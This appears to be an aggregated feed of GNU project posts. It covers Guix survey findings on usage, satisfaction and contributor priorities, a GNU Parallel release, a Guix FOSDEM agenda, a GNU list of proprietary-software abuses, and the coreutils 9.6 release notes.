There were 345 answers for the highest priority, 327 for the second rank and 285 for the third rank — so not as significant a drop-off as for the social question. Figure 22 shows this as a bar chart:
Figure 22: Technical improvements to GNU Guix (Rank 1)As before I've converted them to priorities in each rank. The smallest overall score is the highest priority:
Figure 23: Technical improvements to GNU Guix (All Ranks)Some things that are interesting from this question:
For the technical improvements there isn't a single over-riding 'Rank 1' priority (table 30). The first choice, Debugging and error reporting, does come up consistently in comments as a problem for packagers, and across all three ranks it's the third priority.
Across all ranks Debugging and error reporting along with Runtime performance (speed and memory) are high priorities. These are probably quite connected as there's lots of comments in the survey about error reporting and slow evaluations making development time-consuming and difficult.
It's possible to think of the second and third priorities for 'Rank 1' (table 30) as being connected, since the velocity needed for Making the latest version of packages available would be helped by Automate patch testing and acceptance. We can see from the second table that through all priorities this is the area that contributors care about the most.
We asked the same question of all Users (Q21) earlier in the survey. This time the question was for Contributors only and there were a few specific contribution-focused options. It's interesting to see the contrast between contributors and users priorities:
For both the contributor (P2) and users (P1) improving the runtime performance was a high priority, so it's pretty consistent.
For users making Guix easier to learn was the second highest priority, there wasn't really an equivalent option in the contributor question.
Users identified Making the latest versions of packages available (package freshness) as very important and it's also a high priority in the first rank for contributors. However, overall it was middle of the pack for them — with both Project infrastructure (e.g. continuous integration) and Contribution workflow (e.g. Pull Requests) coming higher.
Key insights recapThat completes our review of the contributor section! Here are the key insights I draw:
The size of the active contributor community (~450) is really exciting. Many developers send a few patches (~60%), while at the other end of the scale there are some who have sent hundreds.
Retaining and developing contributors is important for the project's sustainability. About 66% of active developers are likely to contribute again. That's great, how can we encourage that to happen?
The key reasons contributors stopped (aside from life changes) was a slow response to contributions and the contribution process (e.g email and patch flow).
Improving the capacity and speed of reviews was also the over-riding concern for active contributors by a significant margin. High priority suggestions were automating patch testing and acceptance, along with improving the projects infrastructure (e.g. continuous integration).
Technical improvements to the developer experience were improving debugging and error reporting, runtime performance and also providing a more commonly used contribution process (e.g. Pull Requests).
Finally, the project is 95% a volunteer one, so we should bear in mind that everyone's contributing to Guix on their personal time! While it's great to see all this fantastic feedback and it's very useful, Guix is a collective of volunteers with the constraints that brings.
Getting the DataWe've really squeezed the juice from the lemon over these three posts — but maybe you'd like to dig into the data and do your own analysis? If so head over to the Guix Survey repository where you'll find all the data available to create your own plots!
The results from the Guix User and Contributor Survey (2024) are in and we're digging into them in a series of posts! Check out the first post for the details of how users initially adopt Guix, the challenges they find while adopting it and how important it is in their environment. In this part, we're going to cover how use of Guix matures, which parts are the most loved and lots of other details.
As a reminder there were 943 full responses to the survey, of this 53% were from users and 32% were from contributors.
Guix usageThe middle section of the Survey explored how users relationship with Guix matured, which parts they used and where they struggled. Question 11 asked, Which parts of Guix have you used on top of another Linux distribution?
As a reminder a third (36%) of participants adopted Guix by using it as a package manager on top of another GNU/Linux distribution. The detailed results were:
Table 10: Hosted Guix usage by capability| Capability | Use | Stopped | Never used |
| --- | --- | --- | --- |
| Package manager and packages (guix package) | 48% | 26% | 24% |
| Dotfiles and home environment management (guix home) | 17% | 11% | 70% |
| Isolated development environments (guix shell) | 41% | 18% | 39% |
| Package my own software projects | 28% | 9% | 61% |
| Deployment tool (guix deploy, guix pack) | 13% | 7% | 78% |
| Guix System (i.e. VM on top of your distro) | 15% | 15% | 68% |
Note that all the percentages in this table, and throughout the posts are rounded to make them easier to refer to.
The next question (Q12) asked participants, Which parts of Guix have you used on top of Guix System?
As a reminder, an earlier question (Q5) determined that 46% initially adopted Guix as a GNU/Linux distro in a graphical desktop configuration, and 5% as a GNU/Linux distro in a server configuration. The results:
Table 11: Guix System usage by capability| Capability | Use | Stopped | Never used |
| --- | --- | --- | --- |
| Package manager and packages (guix package) | 64% | 17% | 17% |
| Dotfiles and home environment manager (guix home) | 48% | 9% | 41% |
| Isolated development environments (guix shell) | 36% | 10% | 21% |
| Package my own software projects | 40% | 9% | 49% |
| Deployment tool (guix deploy, guix pack) | 19% | 8% | 71% |
This gives us an interesting picture of how Guix usage develops:
From the first table (Table 10) I was very surprised by the way that Guix users manage their packages. It shows that 24% of users that use Guix on top of another Linux distribution don't use guix package. Clearly, many of these users have switched to a declarative package management approach using manifests or Guix Home.
Guix Home is popular with users of Guix System. It's a relatively new capability in Guix, and there's lots of opportunity to encourage its use on top of another GNU/Linux distribution. It could be a great on-ramp into using Guix generally.
Guix Shell is very popular both when used in a hosted set-up and on Guix System. There are requests in other parts of the survey for missing features from Nix Shell, so perhaps those are some ways to increase its popularity.
I was really surprised by how many users are packaging their own software projects, about 40% of Guix System users, and almost a third of hosted users.
Guix's suite of deployment tools is the least used part of the capabilities. They may not have been utilised by the majority of users yet, but some people find them very useful. There were comments in the survey that these tools drove usage as both a CI and Docker deployment tool.
Guix System usageThe survey then asked (Q15), How have you run Guix System?
This was a multiple choice question, so in total there were 1508 answers from the 943 participants, consequently we can assume that some users deploy Guix System in multiple configurations:
Table 12: Guix System deployment types| Deployment type | Count | Percentage |
| --- | --- | --- |
| Graphical desktop in a VM | 275 | 29% |
| Graphical desktop on laptop/workstation hardware | 691 | 73% |
| Server on server hardware | 223 | 24% |
| Server in a VM (e.g. KVM) | 169 | 18% |
| Server in a container (e.g. Docker/Singularity) | 53 | 6% |
| Public Cloud (e.g. AWS) | 57 | 6% |
| Other | 40 | 4% |
In the Other category there were mentions of using it on different SOC boards (e.g. RockPro64), on WSL2 and on different hosting providers (e.g. Digital Ocean, Hetzner).
Figure 7 shows the break down as a bar chart:
Figure 7: Guix System usageSome thoughts from this question:
It's notable that the vast majority of users are using Guix as some form of graphical desktop (whether on their own hardware or in a VM). This could have implications for the priority of both graphical environment packaging and testing.
Roughly, a third of users are deploying Guix as a server (445) out of the total (1508). This is a big increase from the initial adoption phase (Q5) where 5% of users were adopting Guix as a server. It seems that users often adopt Guix as a graphical desktop and then as they become more familiar with it they start to use it as a server as well.
We can't know how many specific deployments there are as the survey didn't ask how many desktops or servers each user actually deployed. But, the change in the mixture of deployments is interesting. It might be that improving the capabilities, documentation and popularity of the deployment tools (Q15) would also increase the server usage pattern. There are also comments elsewhere in the survey about missing server packages and services.
Only a small number of users are using Guix as a containerization system or in the public cloud. These are significant areas for professional development and deployment, so an area of Guix that further development could focus on.
ArchitecturesThe survey then asked (Q16), Which architectures do you use Guix on?
Again this was multiple choice, there were 1192 answers from 943 completed surveys:
As we might expect x86_64 is the most popular, but there are quite a few AArch64 users as well. There are various comments in the survey about challenges when using different architectures (e.g substitute availability, cross-compiling challenges), see the linked comments throughout these posts for more.
Proprietary driversProprietary drivers is an interesting topic in the Guix community. For Q17 the survey asked, Do you use proprietary drivers in your Linux deployments?
The goal was to understand driver usage across all Linux usage, whether when using Guix or another Distribution. As this was a multiple choice question, there were 1275 answers from the 943 participants.
Table 14: Proprietary driver usage| Category | Count | Percentage |
| --- | --- | --- |
| No, I don't use proprietary drivers | 191 | 20% |
| Yes, I use Nonguix as part of Guix System | 622 | 66% |
| Yes, I use proprietary drivers on other GNU/Linux distributions | 462 | 49% |
Figure 8 shows it as a bar chart:
Figure 8: Use of proprietary drivers* From this we can conclusively say that the majority of Guix users do use proprietary drivers. Although hardware that respects Freedom is available, hardware requiring proprietary drivers is sadly the norm.
Other applicationsThe next question was (Q18), Do you use other methods and channels to install applications?
One of the advantages of Guix is that it's a flexible system where users can create their own packages and share them with the community. Additionally, there are other methods for installing and using applications such as Flatpak. However, we already know that during adoption some users struggle to find the applications that they need. This question explores whether that changes as usage matures.
The results were:
Table 15: Application sources| Source | Count | Percentage |
| --- | --- | --- |
| I only use applications from Guix | 234 | 25% |
| Packages from my host Linux distro | 352 | 37% |
| Nix service on Guix System | 124 | 13% |
| Nonguix channel (proprietary apps and games) | 607 | 64% |
| Guix Science channel | 127 | 14% |
| My own Guix channel | 442 | 47% |
| Guix channels provided by other people | 303 | 32% |
| Flatpak | 334 | 35% |
| Other | 111 | 12% |
Figure 9 shows this visually:
Figure 9: Methods and channels used to install applicationsSome thoughts:
Overall, we can conclude that the vast majority of users are using applications using multiple different methods as there were 2634 answers in total!
607 participants, out of the 943, selected that they use the Nonguix channel, so 64% overall. This is a similar level of usage for applications as drivers. At the other end 234 only use applications from Guix, ~25% of users. This is a great demonstration that Guix attracts a broad range of users — some users who solely use Free Software, as well as those that need or want software that's under a wider set of licenses.
A large number of users package and use their own Guix channel, 442 which is 47% — this seems inline with the earlier questions about how Guix is used.
There were quite a few different options in the Other category including Distrobox, RDE and guixrus, Docker, Conda, Homebrew, AppImage, Pip and Nix.
Overall satisfactionThe survey asked participants (Q19), How satisfied are you with Guix as a Guix user?
This is probably the most important question in the entire survey, since happy users will continue to use and contribute to the project.
Figure 10: Guix user satisfaction score* Overall, this is a really good result with 655 of the 943 participants clearly satisfied or very satisfied, ~70%. This is a good number that shows many users have a really great experience with Guix.
* It also echos what we saw with the adoption satisfaction question.
* The middle portion who are neutral is bigger that I personally would like to see. This is commonly a group that is not really happy with a product, but for various reasons don't want to say so. There's definitely some areas the project can work on to help users to continue enjoying using Guix.
* At the other end of the scale the very dissatisfied and Dissatisfied are 108, so 11%. We've seen some of the challenges in earlier questions, and the next question explores these further.
Limiters of satisfactionFor Q20 the survey asked, Which areas limit your satisfaction with Guix?
The detailed results:
Table 17: Guix user satisfaction limiters| Category | Count | Percentage |
| --- | --- | --- |
| Difficulties with Guix tools user experience | 192 | 20% |
| Difficulties using declarative configuration | 157 | 17% |
| Missing or incomplete services (whether Guix Home or Guix System) | 374 | 40% |
| Overall Linux complexity (i.e. not specific to Guix) | 92 | 10% |
| Hardware drivers not included | 312 | 33% |
| Guix runtime performance (e.g. guix pull) | 449 | 48% |
| Reference documentation (i.e. the manual) | 195 | 21% |
| Shortage of informal guides, examples and videos | 369 | 39% |
| Error messages and debugging | 372 | 39% |
| Nothing, it's perfect! | 40 | 4% |
| Other | 213 | 23% |
As a visual graph:
Figure 11: Guix user satisfaction challengesThe first thing to note is that there were 2765 entries from our 943 survey completions, so users have challenges in multiple categories.
About 48% of participants have issues with Guix's runtime performance. It's the biggest issue that users face and shows up in other survey data and comments.
The second biggest challenge is with missing or incomplete services, where 39% of participants struggle with this.
The shortage of informal guides, examples and videos is the next biggest challenge, this also came through in the adoption question (Q7).
Tied with it is the difficulty of understanding error messages and debugging. We didn't ask about this in the adoption question (Q7), but there are comments throughout the survey where users struggle with debugging due to poor error messages.
The fifth biggest problem is that hardware drivers that users need are not included, with 33% of users hitting this problem.
There were also 213 comments in the Other category, the full list of comments is available. As before I've grouped the comments — at this point we're starting to see consistency in the grouping so to avoid a lot of repetition I've only put in one example from each one:
Complexity of maintenance: where the overall experience of using Guix was too time-consuming and complex.
"Time/complexity of managing declarative configuration, handling problems that occur due to package updates/conflicts, creating custom packages and keeping them updated"
Learning curve: where learning Guix's unique approach was too difficult.
"I really love the idea, but it's extremely difficult to use, especially for beginners"
Lack of drivers within the distribution: issues where users couldn't use their hardware.
"Guix is unusable without nonguix / proprietary drivers"
Proprietary software: missing proprietary software that was required.
"Limitations in FHS emulation for proprietary programs"
Efficiency and resource usage: where overall resource usage made the experience slow or unusable.
"cicd and other infrastructure (global mirrors)"
Missing packages and services: where Guix didn't have a package or service the user needed.
"Some buggy services, which are hard to patch without knowledge and proper documentation"
Out of date packages: issues where Guix's packages were not up-to-date.
"Many packages are severely out of date, some break often during routine upgrades (build failures), many things missing and have sat on the Guix Wishlist for years"
Quality and reliability: general issues of quality and reliability that undermined the users belief that Guix was ready for use.
"master is often broken and patches for these issues get ignored so I have to use a temporary fork of the main guix repo with the patches applied"
Encrypted boot and disks: issues arising from missing encryption capabilities.
"Setting up full disk encryption for multiple disks or unusual arrays of disks and then secure boot issues"
Practical guides, how-to's and examples: issues where there were no direct instructions or examples, as compared to reference documentation.
"examples, a show of how a task is done in Debian or OpenSUSE and contrast it with how the task is done in guix would be helpful"
Free Software as a constraint: limitations and concerns about Free Software and GNU as an organisation constraining practical user freedom.
"The hard stance of the GNU project on non-free software makes it hard to find "whats out there""
Not enough GNU: limitations and concerns that Guix is not sufficiently supportive of GNU and/or Richard Stallman.
"I am disappointed that you veered off the course of freedom and added nonguix. Also that you hate on RMS."
Language ecosystem issues: problems packaging or using Guix with ecosystems like Docker, Go and Rust.
"Packaging nightmares won't let us have nice things"
Unavailable on Mac OSX: inability to use Guix as it's not available for Mac.
"No macOS official distribution"
Incompatibility with hosting Linux distro: difficulties using Guix on top of another Linux distribution, particularly using graphical programs.
"Some DEs don't integrate as well as they do on other distros."
Error messages: challenges debugging issues due to difficult to use error messages.
"guix is very-very slow and consumes too much memory and CPU for what it's doing. also error messages are the worst i've seen in my 10 years of programming"
Poor contributor experience: comments caused by contributions not being reviewed or other poor experiences.
"Slow, or sometimes inexistent, feedback for submitted patches and issues"
Not all comments fit into a specific theme, I've pulled out some other interesting ones:
Shepherd as a constraint: some users love that Guix doesn't use Systemd, but there are some comments worrying about compatibility and migration.
"I'd like to be able to use systemd. I like that Guix is doing the work so that we break the init system monoculture though. But I'd like systemd to be an alternative. The term service is overloaded which is confusing. I also think that some developer (in-repo) documentation is missing. Specifally regarding packages that need a special boostrapping process such as node or bqn"
"lack of features comparing to systemd"
Reproducibility challenges: reproducing Guix set-ups when using channels or other issues.
"Guix is pretty perfect, but there are breaking changes between channels, would love for the channel to pin to specific guix commit when building it's packages and have a warning if the commit is outdated by x days"
"not reproducible due to ~/.config/guix and channels not pinned easily"
Releases and stable channel: a few users have concerns about a lack of new releases, or wanting to use a more stable release channel.
"Some kind of LTS release that I can pin my work to would be great. Maintaining my own channels for work/personal use is good but sometimes guix updates cause things to break so I need to pay attention to keep things working. A more stable release with better probability of substitute hits would be nice."
"No new release in over 2 years"
Running compiled binaries: situations where the user wants to run a compiled binary that's expecting a 'standard' Linux.
"Running Software not in channel like: Compilers for embedded systems (avr), proprietary software (matlab)"
Architecture issues: there's a few comments about issues using alternative architectures, particularly about substitute availability.
"Aarch64 seems like it gets less love and x86. Takes time for broken packages to get fixed on aarch64"
What should Guix improve?The survey then asked, (Q21) Which areas should Guix's developers improve so you can use Guix more?
This question was done as a ranking question where participants had to prioritise their top 3. The rationale for asking it in this way was to achieve clarity over prioritisation.
It's useful to look at this in two ways, first the table where participants ranked their highest priority:
Table 18: Highest priority ranked improvements| Area — Rank 1 | Count | Percentage |
| --- | --- | --- |
| Making the latest versions of packages available (package freshness) | 149 | 16% |
| Performance and tuning (faster guix pull) | 112 | 12% |
| Make Guix easier to learn (more docs!) | 105 | 11% |
| Package reliability (e.g. installs and works) | 92 | 10% |
| Hardware support (drivers) | 91 | 10% |
| More packages (more is better!) | 87 | 9% |
| Software developer tooling (guix shell with editors, debuggers, etc) | 58 | 6% |
| Make Guix easier to use | 57 | 6% |
| Guix System services | 37 | 4% |
| Stable releases (e.g. regular tested releases) | 35 | 4% |
| Community and communications | 33 | 4% |
| Guix Home services | 24 | 3% |
| Focused high-quality packages (fewer is better!) | 15 | 2% |
This second table shows how each element was ranked across all positions, reordered to show the overall prioritisation:
We can see that Performance and tuning (faster guix pull) consistently shows up as an area Guix users would like to see improved.
The second highest priority, Make Guix easier to learn (more docs!) is also consistent, as we've seen from other comments the main desire is for more instructions and examples.
In third place is, Making the latest versions of packages available (package freshness). It's a little less consistent, notice that it's the highest priority concern for users (Table 18), but drops a little amongst later priorities.
Next is More packages (more is better!), and we've seen that missing packages is a limit to adopting or using Guix.
The fifth highest priority is Package reliability (e.g. installs and works), this seems to be more important in lower ranks. We've seen lots of comments about packages that have issues, require further configuration or don't integrate well (particularly in a hosted set-up). This one is intriguing as one possibility would be to focus on a smaller set of packages, yet Focused high-quality packages (fewer is better!) consistently came last.
The sixth is Hardware support (drivers), again it's less important at later ranks. This one is also interesting as in the adoption questions, and in many of the comments about challenges it's consistently mentioned as a significant challenge. It may be reflecting that users who are using Guix must have solved their driver problems, so it's slightly less important if your machine works!
Guix sustainabilityThe next section of the survey was for Contributors, we'll cover that in the third post in the series. After the contribution section Q32 asked all users, How likely are you to financially support the Guix project?
As a volunteer project, with no corporate sponsors, the rationale for asking this question is that some aspects of the project (e.g. infrastructure and sponsored work) require finance. The results were:
Table 20: Donating to Guix| Category | Count | Percentage |
| --- | --- | --- |
| Unable (e.g. don't have money to do so) | 280 | 30% |
| Would not (e.g. have the money to do so, but would not) | 40 | 4% |
| Unlikely | 145 | 15% |
| Moderately likely | 341 | 36% |
| Very likely | 133 | 14% |
| No answer | 4 | 0.42% |
As a graphical bar chart:
Figure 12: Financially supporting GuixThe results tell us that about 50% of users would be willing and able to financially contribute to Guix. There's also a significant set of users who are unable to do so, and one of the clear benefits of Free Software is that we can all use it without charge!
❤️ Love Guix!Having asked lots of structured questions and ones about challenges the last question (Q33) was, What do you love about Guix?
There were 620 answers, so 65% of the participants wrote something — that's a lot of love for Guix!
There were lots of positive comments about how friendly and helpful the Guix community is; the joys of using Scheme/Lisp and Guile; the importance of user-focused Free Software; and the benefits of the declarative approach.
All the comments are available to read, and I encourage you to have a scroll through them as they're very uplifting!
A few I pulled out:
"I enjoy the commitment, patience (!), and friendliness of so many in the community!"
"Scheme! That Guix fits my preference for declarative, functional and minimalist computing! And it’s friendly and helpful community, of course!"
"Guix provides reproducibility that I think is invaluable for scientific computing. There are many brilliant community members who spend their time improving Guix and helping other users. Diverse opinions are tolerated on the mailing lists. I like how the project's community and leadership have responded to users who express discontent on the mailing lists -- respectfully and openly, but wary of making radical changes that might jeopardise the project."
"Community (people) by far, focus on free software, Scheme, reproducibility, flexibility. Guix is one of the hidden gems of the free software world."
"Friendly community, GNU project"
"I really appreciate everything you do, and I really hope the process for contributors can be modernized with Codeberg or similar forges which is second nature to most developers."
"Reproducibility and providing a way for people for being technologically independent and free."
"There's many things to love, but most important (and perhaps unloved to a certain extent) is the ability to create Guix channels for any and every purpose. As an effort to package the whole free software world, the community also feels quite diverse, with people and teams often working on vastly different things that somehow come together under one big umbrella."
"Guix pack is amazing and allowed me to run some exotic guix packages on foreign systems, and guix system is really cool in general, tons of packages, the best gnu certified distro in general."
"Having all my system configuration in one place allow me to remember what changes I did to my system at a glance. I can't imagine going back to a distribution where all the changes I make to a system would need to be done again if I swapped machine."
"Freedom! The four software freedoms, plus freedom from side-effects."
Key insightsIn this post we've looked at the questions the survey asked participants about their use of Guix. And as a reminder, there were over 900 participants who completed the survey.
The main conclusions I draw from this part are:
There's a high level of satisfaction amongst Guix users: about 70% were very satisfied or satisfied. This is really positive as happy users are more likely to continue to use Guix, and may become contributors!
When used on top of another GNU/Linux distribution (hosted) Guix's package management and development environments capabilities are the most utilised parts. When used as a GNU/Linux distribution package management and home environment are the most used parts.
The majority of Guix System users are using it in a graphical desktop configuration, as they become familiar with it they start to use it as a server.
There's lots of great feedback on areas where users would like to see improvements. One thing to bear in mind is that as a volunteer project there may not be people with the time or interest to work on these areas — but nonetheless, consistent feedback is useful for Guix's developers.
Many users would be happy to donate to Guix to support its mission.
If you missed it, the first post in this series covers how users adopt Guix. And, the next post will cover how Contributors interact with the project.
GNU Parallel 20250122 ('4K-AZ65') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU Parallel too. It is my map/reduce tool with built in support to retry failed jobs.
-- Dhruva @mechanicker.bsky.social
New in this release:
No new features. This is a candidate for a stable release.
Bug fixes and man page updates.
News about GNU Parallel:
How to Implement Parallelism and Concurrency Control (Queue) in Shell https://www.alibabacloud.com/blog/how-to-implement-parallelism-and-concurrency-control-queue-in-shell_601908?spm=a2c65.11461433.0.0.4ee35355IOL2MZ
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Next week will be FOSDEM time for Guix! Asin previous years, asizable delegation of Guix community members will be in Brussels. Rightbefore FOSDEM, about sixty of us will gather on January 30–31 forthe now traditional Guix Days!
In pure unconference style, we will self-organize and discuss and/orhack on hot topics: drawing lessons from the user & contributorsurvey,improving the contributor workflow, sustaining our infrastructure,improving governance and processes, writing the build daemon in Guile,optimizing guix pull, Goblinizing the Shepherd… there’s no shortageof topics!
This time we’ve definitely reached the maximum capacity of ourvenueso please do not just show up if you did notregister. Nextyear we’ll have to find a larger venue!
As for FOSDEM itself, here’s your agenda if you want to hear about Guixand related projects, be it on-line or on-site.
On Saturday, February 1st, in the Open Researchtrack:
Guix + Software Heritage: Source Code Archiving to the Rescue ofReproducibleDeployment,at noon, where Simon Tournier will talk about the latestdevelopments connecting Guix and the Software Heritagearchive.
On Sunday, February 2nd, do not miss the amazing Declarative &Minimalistic Computingtrack! It willfeature many Guile- and Guix-adjacent talks, in particular:
RDE: Tools for managing reproducible developmentenvironments,where Nicolas Grave will present how RDE extends Guix and what niftyfeatures it brings;
The Shepherd: Minimalism inPID 1,where I (Ludovic Courtès) will talk about the recently-releasedShepherd 1.0and why I think its design makes it the coolest init system to hackon;
Shepherd with Spritely Goblins for Secure System LayerCollaboration,where Juliana Sims of Spritely will present on-going work to portthe Shepherd toGoblinsin support of distributed and capability-based secure computing.
But really, there’s a lot more to see in this track, starting with talksby our Spritely friends on web development with Guile and Hoot by DavidThompson,a presentation of the Goblins distributed computing framework byJessicaTallon,and one on Spritely’s vision by Christine Lemmer-Webberherself(Spritely will be present in other trackstoo,check it out!), as well as a talk by Andy Wingo on what may becomeGuile’s new garbagecollector.
Also on Sunday, February 2nd, jgart (Jorge Gomez) will bepresenting a survey of Immutable Linux distributions at the Distributionstrackwhich will include RDE.
The initial injustice of proprietary software often leads to further injustices: malicious functionalities.
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
Here are our latest additionsNovember 2024Malware In Cars
Kia cars were built with a back door that enabled the company's server to locate them and take control of them. The car's owner had access to these controls through the Kia server. This in itself is not objectionable. However, that Kia itself had such control is Orwellian, and ought to be illegal. The icing on the Orwellian cake is that the server had a security fault which allowed absolutely anyone to activate those controls for any Kia car. Many people will be outraged at that security bug, but this was presumably an accident. The fact that Kia had such control over cars after selling them to customers is what outrages us, and that must have been intentional on Kia's part.
BMW has retreated from making car owners pay for a subscription to the heated seats feature. Customers rejected it. Bravo for them! Instead BMW plans to require subscriptions for digital services and disservices—things related to the Orwellian tracking done by any “connected” car.
Proprietary Addictions
Dating apps exploit their users; fundamental features require an expensive subscription, and they are designed to be addictive.
Apple's Operating Systems Are Malware
A back door in Apple devices, present and abused from at least 2019 until 2023, allowed crackers to have full control over them by sending iMessage texts that installed malware without any action on the user's part. Infections, among other things, gave the intruders access to owners' microphone recordings, photos, location and other personal data.
July 2024Proprietary Obsolescence
Spotify sold a music streaming device but they no longer support it. Due to its proprietary nature, it can no longer be updated or even used. Users requested Spotify to make the software that runs on the device libre, and Spotify refused, so these devices are now e-waste. Spotify is now offering refunds to save the purchasers from losing money on these products, but this wouldn't prevent the products from being e-waste, and wouldn't save users from being jerked around by Spotify. This is an example of how software that is not free controls the user instead of the user controlling the software. It is also an important lesson for us to insist the software in a device be libre before we buy it.
May 2024Microsoft's Software is Malware
Microsoft is using malware tactics to get users to switch to their web browser, Microsoft Edge, and their search engine, Microsoft Bing. When users launch the Google Chrome browser Microsoft injects a pop up advertisement in the corner of the screen advising users to switch to Bing. Microsoft also imported users Chrome browsing data without their knowledge or consent.
April 2024Malware In Cars
GM is spying on drivers who own or rent their cars, and give away detailed driving data to insurance companies through data brokers. These companies then analyze the data, and hike up insurance prices if they think the data denotes “risky driving.” For the car to make this data available to anyone but the owner or renter of the car should be a crime. If the car is owned by a rental company, that company should not have access to it either.
This is to announce coreutils-9.6, a stable release.
See the NEWS below for a summary of changes.
There have been 263 commits by 15 people in the 42 weeks since 9.5.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bernhard Voelker (5)
Bruce Jerrick (1)
Bruno Haible (5)
Collin Funk (16)
Daniel Hofstetter (1)
Evgeny Nizhibitsky (1)
Lukáš Zaoral (1)
Masatake YAMATO (1)
Nikolaos Chatzikonstantinou (1)
Nikolay Nechaev (3)
Paul Eggert (123)
Pádraig Brady (95)
Richard Purdie (1)
Sam Russell (2)
Sylvestre Ledru (7)
Pádraig [on behalf of the coreutils maintainers]
Here is the GNU coreutils home page:
https://gnu.org/s/coreutils/
Here are the compressed sources:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.6.tar.gz (15MB)
https://ftp.gnu.org/gnu/coreutils/coreutils-9.6.tar.xz (5.9MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.6.tar.gz.sig
https://ftp.gnu.org/gnu/coreutils/coreutils-9.6.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify coreutils-9.6.tar.xz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned coreutils directory:
git shortlog v9.5..v9.6
This release was bootstrapped with the following tools:
Autoconf 2.72.70-9ff9
Automake 1.16.5
Gnulib 2025-01-17 2481e7a50d6535582856626b53009f419e2e05e2
Bison 3.8.2
NEWS
Noteworthy changes in release 9.6 (2025-01-17) [stable]
** Bug fixes
cp fixes support for --update=none-fail, which would have been
rejected as an invalid option.
[bug introduced in coreutils-9.5]
cp,mv --update no longer overrides --interactive or --force.
[bug introduced in coreutils-9.3]
csplit no longer creates empty files given empty input.
[This bug was present in "the beginning".]
ls and printf fix shell quoted output in the edge case of escaped
first and last characters, and single quotes in the string.
[bug introduced in coreutils-8.26]
ls -l no longer outputs "Permission denied" errors on NFS
which may happen with files without read permission, and which resulted
in inaccurate indication of ACLs (missing '+' flag after mode).
[bug introduced in coreutils-9.4]
ls -l no longer outputs "Not supported" errors on virtiofs.
[bug introduced in coreutils-9.4]
mv works again with macFUSE file systems. Previously it would
have exited with a "Function not implemented" error.
[bug introduced in coreutils-8.28]
nproc gives more consistent results on systems with more than 1024 CPUs.
Previously it would have ignored the affinity mask on such systems.
[bug introduced with nproc in coreutils-8.1]
numfmt --from=iec-i now works with numbers without a suffix.
Previously such numbers were rejected with an error.
[bug introduced with numfmt in coreutils-8.21]
printf now diagnoses attempts to treat empty strings as numbers,
as per POSIX. For example, "printf '%d' ''" now issues a diagnostic
and fails instead of silently succeeding.
[This bug was present in "the beginning".]
pwd no longer outputs an erroneous double slash on systems
where the system getcwd() was completely replaced.
[bug introduced in coreutils-9.2]
'shuf' generates more-random output when the output is small.
[bug introduced in coreutils-8.6]
tail --follow=name no longer waits indefinitely for watched
file names that are moved elsewhere within the same file system.
[bug introduced in coreutils-8.24]
tail --follow without --retry, will consistently exit with failure status
where inotify is not used, when all followed files become inaccessible.
[This bug was present in "the beginning".]
tail --follow --pid=PID will now exit when the PID dies,
even in the presence of blocking inputs like unopened fifos.
[This bug was present in "the beginning".]
'tail -c 4096 /dev/zero' no longer loops forever.
[This bug was present in "the beginning".]
** Changes in behavior
'factor' now buffers output more efficiently in some cases.
install -C now dereferences symlink sources when comparing,
rather than always treating as different and performing the copy.
kill -l and -t now list signal 0, as it's a valid signal to send.
ls's -f option now simply acts like -aU, instead of also ignoring
some earlier options. For example 'ls -fl' and 'ls -lf' are now
equivalent because -f no longer ignores an earlier -l. The new
behavior is more orthogonal and is compatible with FreeBSD.
stat -f -c%T now reports the "fuseblk" file system type as "fuse",
